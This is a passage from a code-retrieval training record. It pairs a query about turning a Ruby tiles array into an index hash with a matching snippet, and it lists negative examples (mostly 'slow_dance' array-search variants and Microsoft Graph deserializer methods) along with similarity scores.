@should_capture_minor_version = n.get_boolean_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"approvalId\" => lambda {|n| @approval_id = n.get_string_value() },\n \"completedDateTime\" => lambda {|n| @completed_date_time = n.get_date_time_value() },\n \"createdBy\" => lambda {|n| @created_by = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IdentitySet.create_from_discriminator_value(pn) }) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"customData\" => lambda {|n| @custom_data = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"resource\" => lambda {|n| @resource = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Entity.create_from_discriminator_value(pn) }) },\n \"resourceReference\" => lambda {|n| @resource_reference = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceReference.create_from_discriminator_value(pn) }) },\n \"resourceVisualization\" => lambda {|n| @resource_visualization = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResourceVisualization.create_from_discriminator_value(pn) }) },\n \"weight\" => lambda {|n| @weight = n.get_object_value(lambda {|pn| Double.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"isDefault\" => lambda {|n| @is_default = n.get_boolean_value() },\n \"links\" => lambda {|n| @links = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionLinks.create_from_discriminator_value(pn) }) },\n \"pages\" => lambda {|n| @pages = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::OnenotePage.create_from_discriminator_value(pn) }) },\n \"pagesUrl\" => lambda {|n| @pages_url = n.get_string_value() },\n \"parentNotebook\" => lambda {|n| @parent_notebook = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Notebook.create_from_discriminator_value(pn) }) },\n \"parentSectionGroup\" => lambda {|n| @parent_section_group = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SectionGroup.create_from_discriminator_value(pn) }) },\n })\n end", "def includes_for_serializer\n {}\n end", "def set_default_format\n request.format = :json\n end", "def serialized\n serializer_class.new(self).serializable_hash\n end", "def get_field_deserializers()\n return super.merge({\n \"resourceId\" => lambda {|n| @resource_id = n.get_string_value() },\n \"resourceName\" => lambda {|n| @resource_name = n.get_string_value() },\n \"resourceType\" => lambda {|n| @resource_type = n.get_string_value() },\n })\n end", "def default_serializer_options\n { user_id: user_id }.merge(super)\n end", "def get_field_deserializers() \n return super.merge({\n \"categories\" => lambda {|o, n| o.categories = n.get_collection_of_primitive_values(String) },\n \"changeKey\" => lambda {|o, n| o.change_key = n.get_string_value() },\n \"createdDateTime\" => lambda {|o, n| o.created_date_time = n.get_date_value() },\n \"lastModifiedDateTime\" => lambda {|o, n| o.last_modified_date_time = n.get_date_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"capability\" => lambda {|n| @capability = n.get_string_value() },\n \"providerId\" => lambda {|n| @provider_id = n.get_string_value() },\n \"providerName\" => lambda {|n| @provider_name = n.get_string_value() },\n \"providerResourceId\" => lambda {|n| @provider_resource_id = n.get_string_value() },\n \"uri\" => lambda {|n| @uri = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"clientContext\" => lambda {|n| @client_context = n.get_string_value() },\n \"resultInfo\" => lambda {|n| @result_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ResultInfo.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::OperationStatus) },\n })\n end", "def serialize(object) end", "def serializer\n PaperTrail.config.serializer\n end", "def get_field_deserializers()\n return super.merge({\n \"clientId\" => lambda {|n| @client_id = n.get_string_value() },\n \"consentType\" => lambda {|n| @consent_type = n.get_string_value() },\n \"principalId\" => lambda {|n| @principal_id = n.get_string_value() },\n \"resourceId\" => lambda {|n| @resource_id = n.get_string_value() },\n \"scope\" => lambda {|n| @scope = n.get_string_value() },\n })\n end", "def jsonapi_serializer_class_name\n 'MyApp::LongCommentSerializer'\n end", "def serialize\n end", "def set_default_format\n request.format = 'json'\n end", "def get_field_deserializers()\n return super.merge({\n \"appUrl\" => lambda {|n| @app_url = n.get_string_value() },\n \"useManagedBrowser\" => lambda {|n| @use_managed_browser = n.get_boolean_value() },\n })\n end", "def serializer_class\n CategorySerializer\n end", "def _serializer(name)\n type = types[name]\n # flatten and cache all the serializers up the tree\n @_serializers ||= all_ancestors(serializers(nil)).reverse.reduce(&:merge)\n @_serializers[name] || @_serializers[type] || ( serializers(base)[type] ||= Serializer.default(type) if type )\n end", "def get_field_deserializers()\n return super.merge({\n \"acceptedDateTime\" => lambda {|n| @accepted_date_time = n.get_date_time_value() },\n \"acceptedVersion\" => lambda {|n| @accepted_version = n.get_number_value() },\n \"termsAndConditions\" => lambda {|n| @terms_and_conditions = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::TermsAndConditions.create_from_discriminator_value(pn) }) },\n \"userDisplayName\" => lambda {|n| @user_display_name = n.get_string_value() },\n \"userPrincipalName\" => lambda {|n| @user_principal_name = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"owner\" => lambda {|n| @owner = n.get_string_value() },\n \"properties\" => lambda {|n| @properties = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ExtensionSchemaProperty.create_from_discriminator_value(pn) }) },\n \"status\" => lambda {|n| @status = n.get_string_value() },\n \"targetTypes\" => lambda {|n| @target_types = n.get_collection_of_primitive_values(String) },\n })\n end", "def with_serializer(serializer)\n @serializer = serializer\n self\n end", "def get_field_deserializers()\n return super.merge({\n \"appUserModelId\" => lambda {|n| @app_user_model_id = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"contractType\" => lambda {|n| @contract_type = n.get_string_value() },\n \"customerId\" => lambda {|n| @customer_id = n.get_guid_value() },\n \"defaultDomainName\" => lambda {|n| @default_domain_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n })\n end", "def set_default_format\n request.format = 'json'\n end", "def serialize\n \n end", "def get_field_deserializers()\n return super.merge({\n \"audiences\" => lambda {|n| @audiences = n.get_collection_of_primitive_values(String) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end", "def as_json(options=nil)\n instance_values.except \"model\", \"adapter\"\n end", "def get_field_deserializers()\n return super.merge({\n \"connectorServerName\" => lambda {|n| @connector_server_name = n.get_string_value() },\n \"exchangeAlias\" => lambda {|n| @exchange_alias = n.get_string_value() },\n \"exchangeConnectorType\" => lambda {|n| @exchange_connector_type = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorType) },\n \"exchangeOrganization\" => lambda {|n| @exchange_organization = n.get_string_value() },\n \"lastSyncDateTime\" => lambda {|n| @last_sync_date_time = n.get_date_time_value() },\n \"primarySmtpAddress\" => lambda {|n| @primary_smtp_address = n.get_string_value() },\n \"serverName\" => lambda {|n| @server_name = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::DeviceManagementExchangeConnectorStatus) },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"addIns\" => lambda {|n| @add_ins = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AddIn.create_from_discriminator_value(pn) }) },\n \"api\" => lambda {|n| @api = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ApiApplication.create_from_discriminator_value(pn) }) },\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"appManagementPolicies\" => lambda {|n| @app_management_policies = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppManagementPolicy.create_from_discriminator_value(pn) }) },\n \"appRoles\" => lambda {|n| @app_roles = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::AppRole.create_from_discriminator_value(pn) }) },\n \"applicationTemplateId\" => lambda {|n| @application_template_id = n.get_string_value() },\n \"certification\" => lambda {|n| @certification = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Certification.create_from_discriminator_value(pn) }) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"createdOnBehalfOf\" => lambda {|n| @created_on_behalf_of = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::DirectoryObject.create_from_discriminator_value(pn) }) },\n \"defaultRedirectUri\" => lambda {|n| @default_redirect_uri = n.get_string_value() },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"disabledByMicrosoftStatus\" => lambda {|n| @disabled_by_microsoft_status = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"extensionProperties\" => lambda {|n| @extension_properties = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ExtensionProperty.create_from_discriminator_value(pn) }) },\n \"federatedIdentityCredentials\" => lambda {|n| @federated_identity_credentials = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::FederatedIdentityCredential.create_from_discriminator_value(pn) }) },\n \"groupMembershipClaims\" => lambda {|n| @group_membership_claims = n.get_string_value() },\n \"homeRealmDiscoveryPolicies\" => lambda {|n| @home_realm_discovery_policies = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::HomeRealmDiscoveryPolicy.create_from_discriminator_value(pn) }) },\n \"identifierUris\" => lambda {|n| @identifier_uris = n.get_collection_of_primitive_values(String) },\n \"info\" => lambda {|n| @info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::InformationalUrl.create_from_discriminator_value(pn) }) },\n \"isDeviceOnlyAuthSupported\" => lambda {|n| @is_device_only_auth_supported = n.get_boolean_value() },\n \"isFallbackPublicClient\" => lambda {|n| @is_fallback_public_client = n.get_boolean_value() },\n \"keyCredentials\" => lambda {|n| @key_credentials = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::KeyCredential.create_from_discriminator_value(pn) }) },\n \"logo\" => lambda {|n| @logo = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"notes\" => lambda {|n| @notes = n.get_string_value() },\n \"oauth2RequirePostResponse\" => lambda {|n| @oauth2_require_post_response = n.get_boolean_value() },\n \"optionalClaims\" => lambda {|n| @optional_claims = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::OptionalClaims.create_from_discriminator_value(pn) }) },\n \"owners\" => lambda {|n| @owners = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DirectoryObject.create_from_discriminator_value(pn) }) },\n \"parentalControlSettings\" => lambda {|n| @parental_control_settings = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ParentalControlSettings.create_from_discriminator_value(pn) }) },\n \"passwordCredentials\" => lambda {|n| @password_credentials = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PasswordCredential.create_from_discriminator_value(pn) }) },\n \"publicClient\" => lambda {|n| @public_client = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::PublicClientApplication.create_from_discriminator_value(pn) }) },\n \"publisherDomain\" => lambda {|n| @publisher_domain = n.get_string_value() },\n \"requestSignatureVerification\" => lambda {|n| @request_signature_verification = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::RequestSignatureVerification.create_from_discriminator_value(pn) }) },\n \"requiredResourceAccess\" => lambda {|n| @required_resource_access = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::RequiredResourceAccess.create_from_discriminator_value(pn) }) },\n \"samlMetadataUrl\" => lambda {|n| @saml_metadata_url = n.get_string_value() },\n \"serviceManagementReference\" => lambda {|n| @service_management_reference = n.get_string_value() },\n \"signInAudience\" => lambda {|n| @sign_in_audience = n.get_string_value() },\n \"spa\" => lambda {|n| @spa = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SpaApplication.create_from_discriminator_value(pn) }) },\n \"synchronization\" => lambda {|n| @synchronization = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Synchronization.create_from_discriminator_value(pn) }) },\n \"tags\" => lambda {|n| @tags = n.get_collection_of_primitive_values(String) },\n \"tokenEncryptionKeyId\" => lambda {|n| @token_encryption_key_id = n.get_guid_value() },\n \"tokenIssuancePolicies\" => lambda {|n| @token_issuance_policies = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::TokenIssuancePolicy.create_from_discriminator_value(pn) }) },\n \"tokenLifetimePolicies\" => lambda {|n| @token_lifetime_policies = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::TokenLifetimePolicy.create_from_discriminator_value(pn) }) },\n \"verifiedPublisher\" => lambda {|n| @verified_publisher = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::VerifiedPublisher.create_from_discriminator_value(pn) }) },\n \"web\" => lambda {|n| @web = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WebApplication.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"committedContentVersion\" => lambda {|n| @committed_content_version = n.get_string_value() },\n \"contentVersions\" => lambda {|n| @content_versions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::MobileAppContent.create_from_discriminator_value(pn) }) },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n \"size\" => lambda {|n| @size = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"applicationId\" => lambda {|n| @application_id = n.get_string_value() },\n \"changeType\" => lambda {|n| @change_type = n.get_string_value() },\n \"clientState\" => lambda {|n| @client_state = n.get_string_value() },\n \"creatorId\" => lambda {|n| @creator_id = n.get_string_value() },\n \"encryptionCertificate\" => lambda {|n| @encryption_certificate = n.get_string_value() },\n \"encryptionCertificateId\" => lambda {|n| @encryption_certificate_id = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"includeResourceData\" => lambda {|n| @include_resource_data = n.get_boolean_value() },\n \"latestSupportedTlsVersion\" => lambda {|n| @latest_supported_tls_version = n.get_string_value() },\n \"lifecycleNotificationUrl\" => lambda {|n| @lifecycle_notification_url = n.get_string_value() },\n \"notificationQueryOptions\" => lambda {|n| @notification_query_options = n.get_string_value() },\n \"notificationUrl\" => lambda {|n| @notification_url = n.get_string_value() },\n \"notificationUrlAppId\" => lambda {|n| @notification_url_app_id = n.get_string_value() },\n \"resource\" => lambda {|n| @resource = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"role\" => lambda {|n| @role = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AccessPackageResourceRole.create_from_discriminator_value(pn) }) },\n \"scope\" => lambda {|n| @scope = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AccessPackageResourceScope.create_from_discriminator_value(pn) }) },\n })\n end", "def set_default_response_format\n request.format = :json\n end", "def set_default_response_format\n request.format = :json\n end", "def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"device\" => lambda {|n| @device = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Device.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"keyStrength\" => lambda {|n| @key_strength = n.get_enum_value(MicrosoftGraph::Models::AuthenticationMethodKeyStrength) },\n })\n end", "def serializer=(value)\n PaperTrail.config.serializer = value\n end", "def set_default_response_format\n\t\t request.format = :json\n\t\tend", "def get_field_deserializers()\n return super.merge({\n \"activationUrl\" => lambda {|n| @activation_url = n.get_string_value() },\n \"activitySourceHost\" => lambda {|n| @activity_source_host = n.get_string_value() },\n \"appActivityId\" => lambda {|n| @app_activity_id = n.get_string_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"contentInfo\" => lambda {|n| @content_info = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"contentUrl\" => lambda {|n| @content_url = n.get_string_value() },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"fallbackUrl\" => lambda {|n| @fallback_url = n.get_string_value() },\n \"historyItems\" => lambda {|n| @history_items = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::ActivityHistoryItem.create_from_discriminator_value(pn) }) },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::Status) },\n \"userTimezone\" => lambda {|n| @user_timezone = n.get_string_value() },\n \"visualElements\" => lambda {|n| @visual_elements = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::VisualInfo.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"certificateData\" => lambda {|n| @certificate_data = n.get_string_value() },\n \"developerId\" => lambda {|n| @developer_id = n.get_string_value() },\n \"keyId\" => lambda {|n| @key_id = n.get_string_value() },\n \"serviceId\" => lambda {|n| @service_id = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"serviceManagementUrl\" => lambda {|n| @service_management_url = n.get_string_value() },\n \"serviceName\" => lambda {|n| @service_name = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"audioDeviceName\" => lambda {|n| @audio_device_name = n.get_string_value() },\n \"bookingType\" => lambda {|n| @booking_type = n.get_enum_value(MicrosoftGraph::Models::BookingType) },\n \"building\" => lambda {|n| @building = n.get_string_value() },\n \"capacity\" => lambda {|n| @capacity = n.get_number_value() },\n \"displayDeviceName\" => lambda {|n| @display_device_name = n.get_string_value() },\n \"emailAddress\" => lambda {|n| @email_address = n.get_string_value() },\n \"floorLabel\" => lambda {|n| @floor_label = n.get_string_value() },\n \"floorNumber\" => lambda {|n| @floor_number = n.get_number_value() },\n \"isWheelChairAccessible\" => lambda {|n| @is_wheel_chair_accessible = n.get_boolean_value() },\n \"label\" => lambda {|n| @label = n.get_string_value() },\n \"nickname\" => lambda {|n| @nickname = n.get_string_value() },\n \"tags\" => lambda {|n| @tags = n.get_collection_of_primitive_values(String) },\n \"videoDeviceName\" => lambda {|n| @video_device_name = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"category\" => lambda {|n| @category = n.get_string_value() },\n \"firstSeenDateTime\" => lambda {|n| @first_seen_date_time = n.get_date_time_value() },\n \"host\" => lambda {|n| @host = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SecurityHost.create_from_discriminator_value(pn) }) },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end", "def to_s\n Forme.transform(:serializer, @opts, @form.opts, self)\n end" ]
[ "0.7626089", "0.7502072", "0.7502072", "0.74956775", "0.7128708", "0.71244043", "0.71244043", "0.7044808", "0.7037385", "0.7022828", "0.7021476", "0.69898736", "0.69813955", "0.6961405", "0.695881", "0.69499123", "0.69399583", "0.69399583", "0.69399583", "0.69160724", "0.69134074", "0.69103444", "0.6866404", "0.6865647", "0.6845545", "0.6845545", "0.6832339", "0.67850363", "0.67154", "0.6710363", "0.67080814", "0.669974", "0.6675848", "0.6666622", "0.66497886", "0.66354084", "0.6631418", "0.66274655", "0.6626557", "0.66253936", "0.6616994", "0.6599828", "0.6587901", "0.6587361", "0.6566156", "0.6562985", "0.6542184", "0.65238655", "0.65230566", "0.64926755", "0.64683735", "0.6468042", "0.64437675", "0.64098173", "0.63961285", "0.6386769", "0.6377985", "0.63592243", "0.6357838", "0.63505274", "0.63486165", "0.6337912", "0.63375723", "0.6328205", "0.63231605", "0.63182735", "0.63127875", "0.63078654", "0.6297951", "0.6294956", "0.6285092", "0.6267909", "0.62672776", "0.62671995", "0.6266456", "0.6265197", "0.6255504", "0.62532294", "0.6252158", "0.6251709", "0.62491775", "0.6244699", "0.62352973", "0.6232968", "0.6225641", "0.6222573", "0.621764", "0.62158704", "0.6214193", "0.6213458", "0.62125444", "0.62125444", "0.62092847", "0.6200627", "0.61963093", "0.61905706", "0.6188286", "0.6184083", "0.61838794", "0.6179507", "0.617841" ]
0.0
-1
CanCanCan requires a current_user method. Devise gives us a current_parent method because our user model is "parent".
def current_user current_parent end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def can?\n current_user\n end", "def current_user? user\n \tuser == self.current_user\n end", "def current_user\n raise NotImplementedError\n end", "def current_user\n raise NotImplementedError\n end", "def can_access?(user)\n user == self.user\n end", "def current_user?\n \n end", "def current_user\n UserDecorator.decorate(super) unless super.nil?\n end", "def current_user\n UserDecorator.decorate(super) unless super.nil?\n end", "def get_user\n @current_user = current_user\n @can_manage = can? :manage, Event\n end", "def current?\n self == User.current\n end", "def current_user\n self.class.current_user\n end", "def current_user?(user)\n (user == self.current_user) || admin?\n end", "def check_if_current_user\r\n User.current_user && User.current_user != self\r\n end", "def current_user?(user)\n\t\tuser == self.current_user\n\t\t\n\tend", "def current_user\n @current_user\n end", "def current_user\n @current_user\n end", "def current_user\n @current_user\n end", "def current_user\n @current_user\n end", "def current_user\n user.user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user\n @user\n end", "def current_user?(user)\n user && user == current_user\n end", "def current_user?(user) \n user == current_user\n end", "def current_user?(user)\n \t\tuser == current_user\n \tend", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user\n current_user ||= Parent.find_by(id: session[:id])\n\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end" ]
[ "0.74109626", "0.6769095", "0.6760633", "0.6760633", "0.6671004", "0.66665196", "0.66421807", "0.66421807", "0.6547788", "0.6526454", "0.6463764", "0.6446514", "0.6431798", "0.6417328", "0.63825953", "0.63825953", "0.63825953", "0.63825953", "0.6370018", "0.63592565", "0.6350811", "0.63430804", "0.63338095", "0.6328832", "0.63208884", "0.63208884", "0.63208884", "0.63208884", "0.63208884", "0.63208884", "0.63208884", "0.63191634", "0.63150495", "0.63102937", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192", "0.6310192" ]
0.7049864
1
def fast_dance(target, array) i = 0 until i == array.length return i if array[i] == target i += 1 end end def tiles_array_to_hash(array) tiles = Hash.new array.each_with_index do |tile, index| tiles[tile] = index end tiles end
def tiles_array_to_hash(array) tiles = Hash.new i = 0 until i == array.length tiles[array[i]] = i i += 1 end tiles end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def slow_dance(target, tiles_array)\n tiles_array.each_with_index do |tile, idx|\n return idx if tile == target\n end\nend", "def slow_dance(target_tile, tiles_array)\n tiles_array.each_with_index do |tile, index|\n return index if target_tile == tile\n end\n\n nil\nend", "def slow_dance(tile, tiles_array)\n tiles_array.each_with_index do |direction, idx|\n return idx if direction == tile\n end\nend", "def slow_dance(tile, array)\n array.each_with_index do |el, i|\n return i if el == tile\n end\nend", "def slow_dance(target, tiles_array)\r\n count = 0 \r\n tiles_array.each do |ele|\r\n if ele == target\r\n return count\r\n else\r\n count +=1\r\n end\r\n end\r\nend", "def slow_dance(direction, tiles_array)\n tiles_array.each_with_index do |string_tile, i|\n return i if direction == string_tile\n end\nend", "def slow_dance(move, tiles_array)\n tiles_array.each_with_index {|tile, i| return i if tile == move}\nend", "def slow_dance(direction, tiles_array)\n tiles_array.each_with_index do |tile, index|\n return index if tile == direction\n end\nend", "def slow_dance(direction, tiles_array)\n tiles_array.each_with_index do |tile, idx|\n return idx if tile == direction\n end\nend", "def fast_dance(target, tiles_hash)\n tiles_hash[target]\nend", "def slow_dance(tile, arr)\n arr = TILES_ARRAY\n arr.each_with_index do |direction, i|\n return i if tile == direction\n end\n return nil\n end", "def slow_dance(direction, tiles_array)\n (0...tiles_array.length).each do |index|\n if tiles_array[index] == direction\n return index\n end\n end\nend", "def hash_map(array, target)\n hash = {}\n\n (0...array.length).each do |ele|\n\n\n end \n\n\nend", "def slow_dance(direction, array)\n array.each_with_index do |tile, idx|\n return idx if tile == direction\n end\nend", "def slow_dance(dir, tiles_array)\n\n tiles_array.each_index do |i|\n return i if dir == tiles_array[i]\n end\nend", "def slow_dance(direction, tiles_array)\n\n tiles_array.each_with_index do |dir, idx|\n return idx if direction == dir\n end\n nil\nend", "def slow_dance(direction, tiles_array)\n i = 0\n loop do\n return i if direction == tiles_array[i]\n i += 1\n end\nend", "def slow_dance(direction, array)\n array.each_with_index do |tile, idx|\n return idx if tile == direction\n end\n\n nil\nend", "def slow_dance(direction, tiles_array)\n tiles_array.each_with_index do |tile, tentacle|\n return tentacle if tile == direction\n end\nend", "def slow_dance(tile_direction, tiles_array)\n tiles_array.inject do |acc, el|\n if acc == tile_direction\n return tiles_array.index(acc)\n elsif el == tile_direction\n return tiles_array.index(el)\n else\n nil \n end\n end\nend", "def slow_dance(target, tiles)\n tiles.each_with_index do |dir, idx|\n return idx if dir == target\n end\nend", "def slow_dance(direction, tiles_array)\r\n tiles_array.each_with_index do |tile, index|\r\n return index if tile == direction\r\n end\r\n end", "def slow_dance(direction, tiles_array)\n tiles_array.each_with_index do |dir, idx|\n return idx if dir == direction\n end\n nil\nend", "def slow_dance(direction, tiles_array)\n tiles_array.each.with_index do |move, i|\n return i if move == direction\n end\nend", "def slow_dance(direction, tiles_array)\n tiles_array.each_with_index do |dir, index|\n if direction == dir\n return index \n end \n end\nend", "def slow_dance(direction, tiles_array = [\"up\", \"right-up\", \"right\", \"right-down\", \"down\", \"left-down\", \"left\", 